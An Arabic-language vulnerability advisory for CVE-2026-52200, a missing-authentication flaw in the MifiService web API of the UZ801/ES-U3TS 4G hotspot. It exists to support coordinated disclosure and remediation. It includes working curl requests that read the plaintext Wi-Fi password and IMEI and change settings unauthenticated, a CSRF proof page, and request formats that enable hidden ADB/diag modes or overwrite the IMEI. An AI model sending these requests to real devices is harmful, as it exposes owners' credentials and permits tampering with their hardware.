CVE-2026-52200

UZ801 / ES-U3TS MifiService ثغرة التحكم في الوصول المعطوب

استشارة أمنية وملاحظات تقنية حول ثغرة التحكم في الوصول المعطوب في واجهة إدارة الويب المدمجة التي يعرضها MifiService.apk على منصة Wi-Fi المحمولة 4G LTE الخاصة بـ OEM / العلامة البيضاء UZ801_v2.1، والتي تُسوَّق أيضًا باسم ES-U3TS.

يهدف هذا المستودع إلى دعم الإفصاح المنسق وتعيين CVE. وهو يركز على أدلة تقنية قابلة لإعادة الإنتاج وغير مسلحة.

ملخص

يعرض الجهاز المتأثر نقطة نهاية إدارة HTTP قائمة على Jetty على:

http://192.168.100.1/ajax

يتم تنفيذ موزع طلبات الواجهة الخلفية في:

com.mifiservice.server.AjaxSevlet

على الرغم من أن واجهة الويب تعرض صفحة تسجيل دخول، إلا أن الواجهة الخلفية لا تفرض جلسة مصادقة صالحة من جانب الخادم لمعظم وظائف الإدارة. نتيجة لذلك، يمكن لمهاجم على الشبكة المجاورة استدعاء عمليات funcNo الحساسة مباشرة دون مصادقة.

يشمل التأثير المؤكد:

• استخراج كلمة مرور Wi-Fi الحالية كنص واضح
• استخراج IMEI ومعلومات البرنامج الثابت وحالة SIM وتكوين الشبكة
• استخراج تكوين DHCP وفلتر MAC
• تعديل واستمرار تكوين الإدارة دون مصادقة
• تشغيل إعادة تعيين التكوين وإعادة تشغيل الجهاز دون مصادقة

تم تأكيد وظائف إضافية عالية الخطورة من خلال التحليل الثابت، بما في ذلك:

• إعادة التشغيل إلى محمل الإقلاع
• تمكين أوضاع USB المخفية ADB / Qualcomm Diag وإعادة التشغيل
• وظيفة الكتابة فوق IMEI غير الموثقة

النطاق والتسمية

يبدو أن العتاد المختبر ينتمي إلى عائلة أجهزة OEM / العلامة البيضاء. المطور الأصلي الدقيق غير معروف حاليًا، ولم يتم تحديد جهة اتصال أمنية موثوقة من البائع حتى الآن.

لذلك تستخدم هذه الاستشارة التسمية التالية للمنتج:

• المنصة: UZ801_v2.1
• الاسم التسويقي الملاحظ: ES-U3TS
• البرنامج الثابت الملاحظ: UZ801-V3.4.3
• التطبيق الملاحظ: MifiService.apk
• الحزمة الملاحظة: com.mifiservice.hello

إذا تم العثور على علامات تجارية أو موزعين إضافيين يشحنون نفس البرنامج الثابت وAPK وأصول الويب وسلوك funcNo، فيجب التعامل معهم كمتغيرات متأثرة محتملة لنفس قاعدة التعليمات البرمجية.

المكوّن المتأثر

• نقطة نهاية Web API /ajax
• MifiService.apk
• com.mifiservice.server.AjaxSevlet

السبب الجذري

هذه ليست في المقام الأول مشكلة بيانات اعتماد افتراضية.

السبب الجذري هو التحكم في الوصول المعطوب في واجهة برمجة التطبيقات الخلفية:

• لا يتم فرض جلسة مصادقة من جانب الخادم لمعظم طلبات الإدارة
• لا توجد حماية CSRF
• لا يوجد تحقق من Origin
• لا يوجد تحقق من Referer
• لا يلزم وجود ملف تعريف ارتباط جلسة أو رمز مميز لمعظم الوظائف الحساسة

توجد وظيفة تسجيل الدخول، لكنها لا توفر حدود ترخيص ذات معنى لغالبية واجهة برمجة تطبيقات الإدارة.

نموذج التهديد

ناقل الهجوم الأساسي:

• مهاجم على الشبكة المجاورة متصل بنقطة اتصال الجهاز

ناقل الهجوم الثانوي:

• استغلال CSRF القائم على المتصفح / القيادة أثناء التصفح ضد ضحية متصلة حاليًا بشبكة الجهاز المحلية

هذا ليس هجومًا عن بُعد معرضًا للإنترنت افتراضيًا. يجب على المهاجم إما:

• أن يكون لديه وصول مباشر من الطبقة 2 / الطبقة 3 إلى 192.168.100.1، أو
• إجبار متصفح ضحية متصل على إرسال طلبات إلى نقطة نهاية الجهاز

حالة الأدلة

جميع النتائج أدناه مدرجة كوظائف متأثرة لنفس مشكلة التحكم في الوصول المعطوب.
حيثما كان ذلك مناسبًا، يتم تمييز كل عنصر صراحةً على أنه إما:

• تم التحقق منه مباشرة
• مؤكد بالتحليل الثابت

يتم الحفاظ على هذا التمييز من أجل الدقة. لا يتم تصنيف الوظائف عالية الخطورة على أنها مختبرة مباشرة عندما لم يتم تنفيذها عمدًا على عتاد عام.

النتائج التقنية حسب مجموعة الوظائف

كشف المعلومات دون مصادقة

تعديل التكوين دون مصادقة

إجراءات تخريبية / إدارية دون مصادقة

وظائف غير موثقة أو بأسلوب الصيانة

حالة البائع

• البائع الأصلي المنبع: غير معروف
• نوع المنتج: منصة موجهات متنقلة OEM / العلامة البيضاء
• جهة اتصال PSIRT / أمنية موثوقة: غير محددة
• حالة الإفصاح الحالية: البائع غير قابل للوصول / لا توجد قناة أمنية مؤكدة للبائع

في وقت كتابة هذا التقرير، يبدو أن الجهاز يُباع عبر قنوات OEM / الموزعين مع علامات تجارية غير متناسقة أو غائبة، ولم يتم إنشاء اتصال موثوق بمطور البائع الأصلي.

أمثلة PoC آمنة

الأمثلة أدناه مقصودة عمدًا لتكون قراءة فقط أو تحققًا منخفض التأثير. وهي مدرجة لإظهار الثغرة دون توفير سير عمل استغلال مسلح.

1. قراءة كلمة مرور Wi-Fi الحالية دون مصادقة

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1002}' \
  http://192.168.100.1/ajax

السلوك المتوقع:

• يعيد JSON
• يتضمن ssid
• يتضمن pwd كنص واضح

2. قراءة معلومات معرف الجهاز دون مصادقة

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1029}' \
  http://192.168.100.1/ajax

السلوك المتوقع:

• يعيد JSON
• يتضمن imei
• يتضمن fwversion

3. إظهار وصول الكتابة المستمر غير المصرح به باستخدام حقل منخفض المخاطر

قراءة اللغة الحالية:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1030}' \
  http://192.168.100.1/ajax

تعيين اللغة:

curl -s \
  -H "Content-Type: application/json" \
  -d '{"funcNo":1031,"Language":"Chinese"}' \
  http://192.168.100.1/ajax

استعادة القيمة الأصلية بعد ذلك.

4. مفهوم CSRF القائم على المتصفح

لا تفرض نقطة النهاية هذه حالة جلسة أو تحققًا من Origin / Referer. لذلك يمكن إساءة استخدام متصفح ضحية متصل لإرسال طلبات في الخلفية.

صفحة إثبات الحد الأدنى:

<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({funcNo: 1002})
});
</script>

هذا المثال مقصور عمدًا على رقم وظيفة للقراءة فقط. لا تنشره ضد المستخدمين أو أجهزة الإنتاج.

تنسيقات الطلبات غير العامة / عالية الخطورة

تنسيقات JSON التالية موثقة للتحليل الدفاعي والفرز فقط. لا تكون مصحوبة بخطوات تنفيذ هنا.

2001 - تمكين واجهات التصحيح المخفية

{"funcNo":2001}

السلوك الملاحظ في الكود:

• ينفذ setprop persist.sys.usb.config rndis,serial_smd,diag,adb
• ينفذ sync
• يعيد تشغيل الجهاز

2004 - مسار الكتابة فوق IMEI

{"funcNo":2004,"imei":"<redacted-test-value>"}

السلوك الملاحظ في الكود:

• يستدعي مسارًا مكافئًا لـ AT+WRIMEI=<value>
• يتحقق من النجاح عبر مسار قراءة IMEI متابعة

لا يتم تضمين أي اختبار مباشر عام هنا بسبب مخاوف قانونية ومتعلقة بالامتثال وسلامة الجهاز.

مقتطفات الأدلة

مثال استجابة دون مصادقة لـ 1002

{
  "results": [
    {
      "dns1": "8.8.8.8",
      "ssid": "4G-UFI-8E1",
      "dns2": "8.8.8.8",
      "mask": "255.255.255.0",
      "pwd": "1234567890",
      "wlan_ip": "192.168.100.1",
      "IP": "192.168.100.1"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

مثال استجابة دون مصادقة لـ 1029

{
  "results": [
    {
      "manufacture": "Qualcomm Technology",
      "dbm": "",
      "fwversion": "V3.4.3",
      "imei": "863993064154463"
    }
  ],
  "error_info": "none",
  "flag": "1"
}

لماذا هذا مرشح CVE

هذه المشكلة مرشح قوي لـ CVE لأنها:

• قابلة لإعادة الإنتاج على جهاز يتحكم فيه العميل
• يمكن الوصول إليها من قبل مهاجم على الشبكة المجاورة
• لا تعتمد على تعديل مادي غير موثق
• ليست مجرد مشكلة كلمة مرور افتراضية
• مؤثرة عبر السرية والنزاهة والتوافر

التصنيف المقترح:

• CWE-306 غياب المصادقة للوظائف الحرجة
• CWE-862 غياب التفويض

CVSS المقترح:

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

حالة الإفصاح

• اكتمل التحليل الثابت: 2026-05-11
• اكتمل التحقق المباشر: 2026-05-12
• اكتمل إعداد الاتصال بالبائع: 2026-05-12
• أُعدت مسودة الاستشارة العامة: 2026-05-12

التخفيفات

• اشتراط جلسة مصادقة صالحة من جانب الخادم لجميع وظائف الإدارة
• رفض جميع طلبات funcNo الحساسة دون مصادقة
• إضافة حماية CSRF
• التحقق من Origin و Referer
• إزالة نقاط نهاية الصيانة غير الموثقة من إصدارات الإنتاج
• عدم كشف بيانات اعتماد Wi-Fi أبدًا من خلال استجابات API دون مصادقة

إشعار قانوني وسلامة

هذا المستودع مخصص للبحث الدفاعي والإفصاح عن الثغرات والتنسيق. الأمثلة العامة مقصورة عمدًا على التحقق منخفض المخاطر. الوظائف عالية الخطورة موثقة فقط بالقدر اللازم للمعالجة وفرز CVE.